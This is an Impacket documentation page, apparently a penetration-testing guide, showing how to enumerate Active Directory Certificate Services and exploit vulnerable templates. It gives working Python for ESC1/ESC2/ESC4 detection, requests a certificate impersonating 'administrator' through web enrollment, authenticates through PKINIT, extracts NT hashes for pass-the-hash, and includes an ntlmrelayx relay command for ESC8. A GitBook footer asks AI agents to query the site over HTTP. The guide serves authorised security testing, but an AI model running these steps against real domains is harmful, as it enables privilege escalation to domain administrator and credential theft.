> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/enum-adcs-vulns.md).

# How To Discover AD-CS Vulnrabilities

You suspect the domain has Active Directory Certificate Services (ADCS) deployed and want to identify vulnerable certificate templates and use them to escalate privileges.

## What you need

* Any authenticated domain account (for enumeration)
* Network access to the DC on port 389 (LDAP) and to the CA on port 80/443 (web enrollment) or 135 (RPC enrollment)

***

## Enumerate Certificate Authorities

Certificate authorities and enrollment services are published in the AD Configuration partition:

```python
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap.ldapasn1 import SearchResultEntry

ldap_conn = ldap_impacket.LDAPConnection(url=f"ldap://{dc_ip}", baseDN=base_dn)
ldap_conn.login(user=username, password=password, domain=domain)

config_dn = f"CN=Configuration,{base_dn}"
pki_base = f"CN=Public Key Services,CN=Services,{config_dn}"

# Find enrollment services (CAs that accept certificate requests)
resp = ldap_conn.search(
    searchBase=f"CN=Enrollment Services,{pki_base}",
    searchFilter="(objectClass=pKIEnrollmentService)",
    attributes=["cn", "dNSHostName", "certificateTemplates", "cACertificate"],
)

cas = []
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    ca_info = {}
    for attribute in item["attributes"]:
        attr_name = str(attribute["type"])
        if attr_name == "cn":
            ca_info["name"] = str(attribute["vals"][0])
        elif attr_name == "dNSHostName":
            ca_info["hostname"] = str(attribute["vals"][0])
        elif attr_name == "certificateTemplates":
            ca_info["templates"] = [str(v) for v in attribute["vals"]]
    cas.append(ca_info)
    print(f"  CA: {ca_info['name']} on {ca_info['hostname']}")
    print(f"  Published templates: {len(ca_info.get('templates', []))}")
```

***

## Enumerate certificate templates

```python
resp = ldap_conn.search(
    searchBase=f"CN=Certificate Templates,{pki_base}",
    searchFilter="(objectClass=pKICertificateTemplate)",
    attributes=[
        "cn", "displayName",
        "msPKI-Certificate-Name-Flag",
        "msPKI-Enrollment-Flag",
        "msPKI-RA-Signature",
        "pKIExtendedKeyUsage",
        "msPKI-Certificate-Application-Policy",
        "nTSecurityDescriptor",
    ],
)

templates = []
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    tmpl = {}
    for attribute in item["attributes"]:
        attr_name = str(attribute["type"])
        if attr_name == "cn":
            tmpl["name"] = str(attribute["vals"][0])
        elif attr_name == "displayName":
            tmpl["display_name"] = str(attribute["vals"][0])
        elif attr_name == "msPKI-Certificate-Name-Flag":
            tmpl["name_flag"] = int(str(attribute["vals"][0]))
        elif attr_name == "msPKI-Enrollment-Flag":
            tmpl["enrollment_flag"] = int(str(attribute["vals"][0]))
        elif attr_name == "msPKI-RA-Signature":
            tmpl["ra_signature"] = int(str(attribute["vals"][0]))
        elif attr_name == "pKIExtendedKeyUsage":
            tmpl["eku"] = [str(v) for v in attribute["vals"]]
    templates.append(tmpl)
```

***

## Identify ESC1: enrollee supplies subject + client auth

ESC1 is the most impactful: a template that allows the requester to specify an arbitrary Subject Alternative Name (SAN) and has the Client Authentication EKU. You can request a certificate as any user in the domain.

```python
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x00000001
CLIENT_AUTH_OID = "1.3.6.1.5.5.7.3.2"
PKINIT_OID = "1.3.6.1.5.2.3.4"
ANY_PURPOSE_OID = "2.5.29.37.0"

for tmpl in templates:
    name_flag = tmpl.get("name_flag", 0)
    ra_sig = tmpl.get("ra_signature", 0)
    eku = tmpl.get("eku", [])

    # Check conditions
    supplies_subject = bool(name_flag & CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
    no_manager_approval = ra_sig == 0
    has_client_auth = CLIENT_AUTH_OID in eku or PKINIT_OID in eku or ANY_PURPOSE_OID in eku or len(eku) == 0

    if supplies_subject and no_manager_approval and has_client_auth:
        # Check if this template is published on any CA
        template_name = tmpl["name"]
        published = any(template_name in ca.get("templates", []) for ca in cas)
        if published:
            print(f"  [ESC1] {tmpl['name']} ({tmpl.get('display_name', '')})")
```

A template with no EKU (`len(eku) == 0`) is also dangerous, since it can be used for any purpose including client authentication.

***

## Identify ESC2: any-purpose or no EKU

Templates with the "Any Purpose" EKU or no EKU at all can be used for client authentication regardless of their intended purpose:

```python
for tmpl in templates:
    eku = tmpl.get("eku", [])
    ra_sig = tmpl.get("ra_signature", 0)

    if ra_sig == 0 and (ANY_PURPOSE_OID in eku or len(eku) == 0):
        print(f"  [ESC2] {tmpl['name']}: any-purpose or empty EKU")
```

***

## Identify ESC4: template modification rights

If your account has write access to a certificate template's AD object, you can modify it to enable ESC1 conditions:

```python
from impacket.ldap import ldaptypes

for tmpl in templates:
    tmpl_dn = f"CN={tmpl['name']},CN=Certificate Templates,{pki_base}"

    resp = ldap_conn.search(
        searchBase=tmpl_dn,
        searchFilter="(objectClass=*)",
        attributes=["nTSecurityDescriptor"],
    )

    for item in resp:
        if not isinstance(item, SearchResultEntry):
            continue
        for attribute in item["attributes"]:
            if str(attribute["type"]) == "nTSecurityDescriptor":
                sd = ldaptypes.SR_SECURITY_DESCRIPTOR(attribute["vals"][0].asOctets())
                # Check if your SID has WriteDacl, WriteProperty, or GenericAll
                # on this template object
```

***

## Request a certificate via web enrollment

If the CA has web enrollment enabled (HTTP on port 80/443 at `/certsrv/`), submit a CSR:

```python
from OpenSSL import crypto
import requests
from requests_ntlm import HttpNtlmAuth

# Generate a key pair and CSR
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 4096)

csr = crypto.X509Req()
csr.get_subject().CN = "administrator"  # for ESC1: specify the target user

# Add the SAN extension for ESC1
san = crypto.X509Extension(
    b"subjectAltName", False, f"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:administrator@{domain}".encode()
)
csr.add_extensions([san])
csr.set_pubkey(key)
csr.sign(key, "sha256")

csr_pem = crypto.dump_certificate_request(crypto.FILETYPE_PEM, csr)
csr_der = crypto.dump_certificate_request(crypto.FILETYPE_ASN1, csr)

# Submit to the CA web enrollment
import base64
csr_b64 = base64.b64encode(csr_der).decode()

data = {
    "Mode": "newreq",
    "CertRequest": csr_b64,
    "CertAttrib": f"CertificateTemplate:{vulnerable_template_name}",
    "TargetStoreFlags": "0",
    "SaveCert": "yes",
}

session = requests.Session()
session.auth = HttpNtlmAuth(f'{domain}\\{username}', password)

resp = session.post(
    f"http://{ca_hostname}/certsrv/certfnsh.asp",
    data=data,
)

# Extract the certificate from the response
# The CA returns the cert ID in the response; retrieve it
```

***

## Request a certificate via RPC (MS-ICPR)

If web enrollment is disabled but the CA is reachable over RPC, use the `ICertPassage` interface:

```python
from impacket.dcerpc.v5 import transport
from impacket import uuid

# MS-ICPR interface
MSRPC_UUID_ICPR = uuid.uuidtup_to_bin(('91ae6020-9e3c-11cf-8d7c-00aa00c091be', '0.0'))

rpctransport = transport.DCERPCTransportFactory(rf'ncacn_np:{ca_hostname}[\pipe\cert]')
rpctransport.set_credentials(username, password, domain)

dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_ICPR)

# Build and send a CertServerRequest
# The request contains the CSR and the template name
```

***

## Authenticate with the obtained certificate (PKINIT)

Once you have a certificate for a target user, use it to request a TGT via Kerberos PKINIT:

```python
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants

# Load the certificate and private key
# The certificate proves identity to the KDC instead of a password

client_principal = Principal("administrator", type=constants.PrincipalNameType.NT_PRINCIPAL.value)

# Impacket's getKerberosTGT supports certificate-based authentication
# through the cert and key parameters (if your version supports it)
tgt, cipher, old_session_key, session_key = getKerberosTGT(
    clientName=client_principal,
    password='',
    domain=domain,
    lmhash='', nthash='',
    kdcHost=dc_ip,
    # cert=certificate_pem,
    # key=private_key_pem,
)
```

If your Impacket version doesn't support PKINIT directly, convert the certificate to an NT hash using the `UnPAC the hash` technique: request a TGT with the certificate, then use the PAC's `PAC_CREDENTIAL_INFO` to extract the NT hash, which you can then use for pass-the-hash.

***

## Chain with relay (ESC8)

If the CA web enrollment endpoint accepts NTLM without EPA, you can relay authentication to it and obtain a certificate as the relayed user. This combines Guide 8 (NTLM relay) with this guide:

```bash
# From Guide 8: relay to the CA web enrollment
ntlmrelayx.py -t http://ca_hostname/certsrv/certfnsh.asp --adcs --template User
```

The relay attack submits a CSR using the relayed session, and the CA issues a certificate for the relayed user. The certificate is saved locally and can be used for PKINIT authentication.

***

## Clean up

Certificates issued by the CA remain valid until they expire or are revoked. If you modified a template (ESC4), revert the changes:

```python
from impacket.ldap.ldap import MODIFY_REPLACE

# Restore original template attributes
ldap_conn.modify(template_dn, {
    'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, str(original_name_flag))],
})
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/enum-adcs-vulns.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
